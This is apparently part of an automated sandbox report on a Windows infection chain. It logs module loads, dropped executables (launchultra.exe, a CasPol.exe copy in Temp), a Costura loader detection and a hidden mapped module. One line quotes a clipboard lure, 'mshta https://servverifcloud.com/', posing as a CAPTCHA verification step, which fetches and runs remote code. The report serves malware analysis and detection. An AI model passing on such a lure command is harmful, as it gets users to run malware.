Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: gpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: msisip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: wshext.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: appxsip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: opcservices.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: secur32.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: sspicli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: uxtheme.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: iphlpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: dnsapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: dhcpcsvc6.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: dhcpcsvc.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: winnsi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: rasapi32.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: rasman.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: rtutils.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: mswsock.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: winhttp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: ondemandconnroutehelper.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: rasadhlp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: fwpuclnt.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: schannel.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: mskeyprotect.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: ntasn1.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: ncrypt.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: ncryptsslp.dll
Source: C:\Windows\System32\mshta.exe Section loaded: msls31.dll
Source: C:\Windows\System32\mshta.exe Section loaded: d2d1.dll
Source: C:\Windows\System32\mshta.exe Section loaded: dwrite.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: apphelp.dll
Source: C:\Windows\System32\msiexec.exe Section loaded: apphelp.dll
Source: C:\Windows\System32\msiexec.exe Section loaded: aclayers.dll
Source: C:\Windows\System32\msiexec.exe Section loaded: sfc.dll
Source: C:\Windows\System32\msiexec.exe Section loaded: sfc_os.dll
Source: C:\Windows\System32\msiexec.exe Section loaded: msi.dll
Source: C:\Windows\System32\msiexec.exe Section loaded: srpapi.dll
Source: C:\Windows\System32\msiexec.exe Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\msiexec.exe Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\msiexec.exe Section loaded: tsappcmp.dll
Source: C:\Windows\System32\msiexec.exe Section loaded: uxtheme.dll
Source: C:\Windows\System32\msiexec.exe Section loaded: netapi32.dll
Source: C:\Windows\System32\msiexec.exe Section loaded: wkscli.dll
Source: C:\Windows\System32\msiexec.exe Section loaded: netutils.dll
Source: C:\Windows\System32\msiexec.exe Section loaded: apphelp.dll
Source: C:\Windows\System32\msiexec.exe Section loaded: aclayers.dll
Source: C:\Windows\System32\msiexec.exe Section loaded: sfc.dll
Source: C:\Windows\System32\msiexec.exe Section loaded: sfc_os.dll
Source: C:\Windows\System32\msiexec.exe Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\msiexec.exe Section loaded: msi.dll
Source: C:\Windows\System32\msiexec.exe Section loaded: tsappcmp.dll
Source: C:\Windows\System32\msiexec.exe Section loaded: userenv.dll
Source: C:\Windows\System32\msiexec.exe Section loaded: profapi.dll
Source: C:\Windows\System32\msiexec.exe Section loaded: sspicli.dll
Source: C:\Windows\System32\msiexec.exe Section loaded: netapi32.dll
Source: C:\Windows\System32\msiexec.exe Section loaded: wkscli.dll
Source: C:\Windows\System32\msiexec.exe Section loaded: netutils.dll
Source: C:\Windows\System32\msiexec.exe Section loaded: wldp.dll
Source: C:\Windows\System32\msiexec.exe Section loaded: mscoree.dll
Source: C:\Windows\System32\msiexec.exe Section loaded: version.dll
Source: C:\Windows\System32\msiexec.exe Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\System32\msiexec.exe Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\msiexec.exe Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\msiexec.exe Section loaded: rstrtmgr.dll
Source: C:\Windows\System32\msiexec.exe Section loaded: ncrypt.dll
Source: C:\Windows\System32\msiexec.exe Section loaded: ntasn1.dll
Source: C:\Windows\System32\msiexec.exe Section loaded: windows.storage.dll
Source: C:\Windows\System32\msiexec.exe Section loaded: pcacli.dll
Source: C:\Windows\System32\msiexec.exe Section loaded: mpr.dll
Source: C:\Windows\System32\msiexec.exe Section loaded: ntmarta.dll
Source: C:\Windows\System32\msiexec.exe Section loaded: cabinet.dll
Source: C:\Windows\SysWOW64\msiexec.exe Section loaded: apphelp.dll
Source: C:\Windows\SysWOW64\msiexec.exe Section loaded: aclayers.dll
Source: C:\Windows\SysWOW64\msiexec.exe Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\msiexec.exe Section loaded: sfc.dll
Source: C:\Windows\SysWOW64\msiexec.exe Section loaded: sfc_os.dll
Source: C:\Windows\SysWOW64\msiexec.exe Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\msiexec.exe Section loaded: msi.dll
Source: C:\Windows\SysWOW64\msiexec.exe Section loaded: netapi32.dll
Source: C:\Windows\SysWOW64\msiexec.exe Section loaded: iphlpapi.dll
Source: C:\Windows\SysWOW64\msiexec.exe Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\msiexec.exe Section loaded: logoncli.dll
Source: C:\Windows\SysWOW64\msiexec.exe Section loaded: samcli.dll
Source: C:\Windows\SysWOW64\msiexec.exe Section loaded: netapi32.dll
Source: C:\Windows\SysWOW64\msiexec.exe Section loaded: iphlpapi.dll
Source: C:\Windows\SysWOW64\msiexec.exe Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\msiexec.exe Section loaded: logoncli.dll
Source: C:\Windows\SysWOW64\msiexec.exe Section loaded: samcli.dll
Source: C:\Windows\SysWOW64\msiexec.exe Section loaded: uxtheme.dll
Source: C:\Windows\SysWOW64\msiexec.exe Section loaded: windows.storage.dll
Source: C:\Windows\SysWOW64\msiexec.exe Section loaded: wldp.dll
Source: C:\Windows\SysWOW64\msiexec.exe Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\msiexec.exe Section loaded: netapi32.dll
Source: C:\Windows\SysWOW64\msiexec.exe Section loaded: iphlpapi.dll
Source: C:\Windows\SysWOW64\msiexec.exe Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\msiexec.exe Section loaded: logoncli.dll
Source: C:\Windows\SysWOW64\msiexec.exe Section loaded: samcli.dll
Source: C:\Windows\SysWOW64\msiexec.exe Section loaded: netapi32.dll
Source: C:\Windows\SysWOW64\msiexec.exe Section loaded: iphlpapi.dll
Source: C:\Windows\SysWOW64\msiexec.exe Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\msiexec.exe Section loaded: logoncli.dll
Source: C:\Windows\SysWOW64\msiexec.exe Section loaded: samcli.dll
Source: C:\Windows\System32\msiexec.exe Section loaded: windows.storage.dll
Source: C:\Windows\System32\msiexec.exe Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Inkberry\launchultra.exe Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Inkberry\launchultra.exe Section loaded: aclayers.dll
Source: C:\Users\user\AppData\Local\Inkberry\launchultra.exe Section loaded: mpr.dll
Source: C:\Users\user\AppData\Local\Inkberry\launchultra.exe Section loaded: sfc.dll
Source: C:\Users\user\AppData\Local\Inkberry\launchultra.exe Section loaded: sfc_os.dll
Source: C:\Users\user\AppData\Local\Inkberry\launchultra.exe Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Inkberry\launchultra.exe Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Inkberry\launchultra.exe Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Inkberry\launchultra.exe Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Inkberry\launchultra.exe Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Inkberry\launchultra.exe Section loaded: gameoptimizer.dll
Source: C:\Users\user\AppData\Local\Inkberry\launchultra.exe Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Inkberry\launchultra.exe Section loaded: windowscodecs.dll
Source: C:\Users\user\AppData\Local\Inkberry\launchultra.exe Section loaded: input.dll
Source: C:\Users\user\AppData\Local\Inkberry\launchultra.exe Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\Temp\73763\CasPol.exe Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\73763\CasPol.exe Section loaded: aclayers.dll
Source: C:\Users\user\AppData\Local\Temp\73763\CasPol.exe Section loaded: mpr.dll
Source: C:\Users\user\AppData\Local\Temp\73763\CasPol.exe Section loaded: sfc.dll
Source: C:\Users\user\AppData\Local\Temp\73763\CasPol.exe Section loaded: sfc_os.dll
Source: C:\Users\user\AppData\Local\Temp\73763\CasPol.exe Section loaded: mscoree.dll
Source: C:\Users\user\AppData\Local\Temp\73763\CasPol.exe Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\73763\CasPol.exe Section loaded: vcruntime140_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\73763\CasPol.exe Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\73763\CasPol.exe Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\73763\CasPol.exe Section loaded: amsi.dll
Source: C:\Users\user\AppData\Local\Temp\73763\CasPol.exe Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\Temp\73763\CasPol.exe Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\73763\CasPol.exe Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\73763\CasPol.exe Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Local\Temp\73763\CasPol.exe Section loaded: rsaenh.dll
Source: C:\Users\user\AppData\Local\Temp\73763\CasPol.exe Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\Temp\73763\CasPol.exe Section loaded: windows.storage.dll
Source: C:\Windows\SysWOW64\gpupdate.exe Section loaded: apphelp.dll
Source: C:\Windows\SysWOW64\gpupdate.exe Section loaded: gpapi.dll
Source: C:\Windows\SysWOW64\gpupdate.exe Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\gpupdate.exe Section loaded: wevtapi.dll
Source: C:\Windows\SysWOW64\gpupdate.exe Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\gpupdate.exe Section loaded: bitsproxy.dll
Source: C:\Users\user\AppData\Local\Temp\73763\CasPol.exe Section loaded: mscoree.dll
Source: C:\Users\user\AppData\Local\Temp\73763\CasPol.exe Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\73763\CasPol.exe Section loaded: aclayers.dll
Source: C:\Users\user\AppData\Local\Temp\73763\CasPol.exe Section loaded: mpr.dll
Source: C:\Users\user\AppData\Local\Temp\73763\CasPol.exe Section loaded: sfc.dll
Source: C:\Users\user\AppData\Local\Temp\73763\CasPol.exe Section loaded: sfc_os.dll
Source: C:\Users\user\AppData\Local\Temp\73763\CasPol.exe Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\73763\CasPol.exe Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\73763\CasPol.exe Section loaded: vcruntime140_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\73763\CasPol.exe Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\73763\CasPol.exe Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\73763\CasPol.exe Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\73763\CasPol.exe Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\73763\CasPol.exe Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\73763\CasPol.exe Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\73763\CasPol.exe Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Local\Temp\73763\CasPol.exe Section loaded: rsaenh.dll
Source: C:\Users\user\AppData\Local\Temp\73763\CasPol.exe Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\Temp\73763\CasPol.exe Section loaded: mswsock.dll
Source: C:\Windows\SysWOW64\gpupdate.exe Section loaded: ntmarta.dll
Source: C:\Windows\System32\mshta.exe Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{25336920-03F9-11cf-8FD0-00AA00686F13}\InProcServer32
Source: C:\Windows\System32\mshta.exe Key opened: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Internet Explorer\Settings
Source: Window Recorder Window detected: More than 3 window changes detected
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll
Source: C:\Windows\System32\msiexec.exe Registry value created: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{E3205E05-7972-45C4-8321-B26BB5BCDBB2}

Data Obfuscation
barindex
Yara detected Costura Assembly Loader
Source: Yara match File source: 00000017.00000002.2188352785.0000000005453000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000017.00000002.2188352785.000000000554E000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000017.00000002.2264964941.0000000006BC0000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000017.00000002.2159638656.00000000038C1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY

Persistence and Installation Behavior
barindex
HTML page adds supicious text to clipboard
Source: C:\Program Files\Google\Chrome\Application\chrome.exe Clipboard modification: mshta https://servverifcloud.com/ # I m not a robot: ludflare Vrifiction ID: 00-G
Drops PE files
Source: C:\Users\user\AppData\Local\Inkberry\launchultra.exe File created: C:\Users\user\AppData\Local\Temp\sqxmjqhulq Jump to dropped file
Source: C:\Users\user\AppData\Local\Inkberry\launchultra.exe File created: C:\Users\user\AppData\Local\Temp\73763\CasPol.exe Jump to dropped file
Source: C:\Windows\System32\msiexec.exe File created: C:\Windows\Installer\MSIE263.tmp Jump to dropped file
Source: C:\Windows\System32\msiexec.exe File created: C:\Users\user\AppData\Local\Inkberry\launchultra.exe Jump to dropped file
Drops PE files to the windows directory (C:\Windows)
Source: C:\Windows\System32\msiexec.exe File created: C:\Windows\Installer\MSIE263.tmp Jump to dropped file
Drops files with a non-matching file extension (content does not match file extension)
Source: C:\Users\user\AppData\Local\Inkberry\launchultra.exe File created: C:\Users\user\AppData\Local\Temp\sqxmjqhulq Jump to dropped file

Hooking and other Techniques for Hiding and Protection
barindex
Found hidden mapped module (file has been removed from disk)
Source: C:\Users\user\AppData\Local\Inkberry\launchultra.exe Module Loaded: C:\USERS\user\APPDATA\LOCAL\TEMP\SQXMJQHULQ
Source: C:\Users\user\AppData\Local\Inkberry\launchultra.exe Module Loaded: C:\USERS\user\APPDATA\LOCAL\TEMP\SQXMJQHULQ
Source: C:\Windows\System32\mshta.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\msiexec.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\msiexec.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\msiexec.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\msiexec.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\msiexec.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\msiexec.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\msiexec.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\msiexec.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\msiexec.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\msiexec.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\msiexec.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\msiexec.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\msiexec.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\msiexec.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\msiexec.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\msiexec.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\msiexec.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\msiexec.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\msiexec.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\msiexec.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\msiexec.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\msiexec.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\msiexec.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\msiexec.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\msiexec.exe Process information set: NOGPFAULTERRORBOX
Source: C:\Windows\System32\msiexec.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Inkberry\launchultra.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Inkberry\launchultra.exe Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\AppData\Local\Temp\73763\CasPol.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\73763\CasPol.exe Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\AppData\Local\Temp\73763\CasPol.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\73763\CasPol.exe Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\AppData\Local\Temp\73763\CasPol.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\73763\CasPol.exe Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\AppData\Local\Temp\73763\CasPol.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\73763\CasPol.exe Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\AppData\Local\Temp\73763\CasPol.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\73763\CasPol.exe Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\AppData\Local\Temp\73763\CasPol.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\73763\CasPol.exe Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\AppData\Local\Temp\73763\CasPol.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\73763\CasPol.exe Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\AppData\Local\Temp\73763\CasPol.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\73763\CasPol.exe Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\AppData\Local\Temp\73763\CasPol.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\73763\CasPol.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\73763\CasPol.exe Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\AppData\Local\Temp\73763\CasPol.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\73763\CasPol.exe Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\AppData\Local\Temp\73763\CasPol.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\73763\CasPol.exe Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\AppData\Local\Temp\73763\CasPol.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\73763\CasPol.exe Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\AppData\Local\Temp\73763\CasPol.exe Process information set: NOOPENFILEERRORBOX
